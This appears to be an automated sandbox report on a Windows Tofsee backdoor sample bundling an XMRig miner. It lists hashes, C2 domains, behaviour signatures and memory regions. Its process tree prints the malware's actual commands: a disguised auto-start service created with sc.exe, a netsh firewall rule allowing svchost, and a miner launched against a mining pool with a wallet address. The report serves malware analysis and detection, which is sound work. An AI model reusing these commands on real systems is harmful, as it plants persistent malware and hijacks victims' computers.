Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    08/10/2023, 12:47

General

  • Target

    file.exe

  • Size

    284KB

  • MD5

    d1de288c58de023e8aad492868da3b92

  • SHA1

    530d8675705fee02d103c076706585f8f7a97de2

  • SHA256

    ead20c77e005c89bcc2a699892caa8775d7a7aa2c15d5170fd3d4b783f8f3ee3

  • SHA512

    9179f17800fe35a816c3dc29a6d936e56658f253b83fac6c396cad5fd2f8c2c4e0beb62013c4d2625e13a5ba9ba7332f5bbadb6702eb441cc1a07e995365906e

  • SSDEEP

    3072:FcSalqHSwBWbacDEgFAdpW1Z8AZLJDAM/a9:taYlWeeEucpCZZZq

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ocigqjni\
      2⤵
        PID:3052
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wmixskiq.exe" C:\Windows\SysWOW64\ocigqjni\
        2⤵
          PID:2276
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ocigqjni binPath= "C:\Windows\SysWOW64\ocigqjni\wmixskiq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ocigqjni "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2744
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ocigqjni
          2⤵
          • Launches sc.exe
          PID:2784
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2736
      • C:\Windows\SysWOW64\ocigqjni\wmixskiq.exe
        C:\Windows\SysWOW64\ocigqjni\wmixskiq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2680
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2556
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2040

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\wmixskiq.exe

        Filesize

        14.9MB

        MD5

        de5fb07c2d32574daafec3696f30d62a

        SHA1

        33ded1d711b22b26e4e1de1f1b1859569ec2e896

        SHA256

        0db6430ef17bffbb42bbc32aa5d22f57765b6707d86e3c3d321767fd546ab03e

        SHA512

        b126abe1b6fc2fc6bdd3649fff59622aa37735871d86285734618aba595bd539d525f2b12a273c2cf54a57f9b0c10544ef5a30ed4ec00c31f9d6c0e65643b3e3

      • C:\Windows\SysWOW64\ocigqjni\wmixskiq.exe

        Filesize

        14.9MB

        MD5

        de5fb07c2d32574daafec3696f30d62a

        SHA1

        33ded1d711b22b26e4e1de1f1b1859569ec2e896

        SHA256

        0db6430ef17bffbb42bbc32aa5d22f57765b6707d86e3c3d321767fd546ab03e

        SHA512

        b126abe1b6fc2fc6bdd3649fff59622aa37735871d86285734618aba595bd539d525f2b12a273c2cf54a57f9b0c10544ef5a30ed4ec00c31f9d6c0e65643b3e3

      • memory/1728-1-0x00000000002F0000-0x00000000003F0000-memory.dmp

        Filesize

        1024KB

      • memory/1728-4-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/1728-3-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB

      • memory/1728-6-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB

      • memory/2040-77-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/2040-76-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/2040-75-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/2040-74-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/2040-73-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/2040-72-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/2040-71-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/2040-62-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/2040-63-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/2556-38-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-46-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-27-0x0000000000160000-0x0000000000166000-memory.dmp

        Filesize

        24KB

      • memory/2556-30-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-34-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-33-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-35-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-36-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-37-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-23-0x0000000001A10000-0x0000000001C1F000-memory.dmp

        Filesize

        2.1MB

      • memory/2556-39-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-40-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-41-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-42-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-43-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-44-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-45-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-26-0x0000000001A10000-0x0000000001C1F000-memory.dmp

        Filesize

        2.1MB

      • memory/2556-47-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-49-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-48-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/2556-50-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

      • memory/2556-53-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

      • memory/2556-54-0x0000000005460000-0x000000000586B000-memory.dmp

        Filesize

        4.0MB

      • memory/2556-57-0x0000000005460000-0x000000000586B000-memory.dmp

        Filesize

        4.0MB

      • memory/2556-58-0x00000000001D0000-0x00000000001D7000-memory.dmp

        Filesize

        28KB

      • memory/2556-22-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2556-20-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2556-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2556-19-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2556-14-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2556-11-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2680-10-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB

      • memory/2680-15-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB

      • memory/2680-9-0x00000000023D0000-0x00000000024D0000-memory.dmp

        Filesize

        1024KB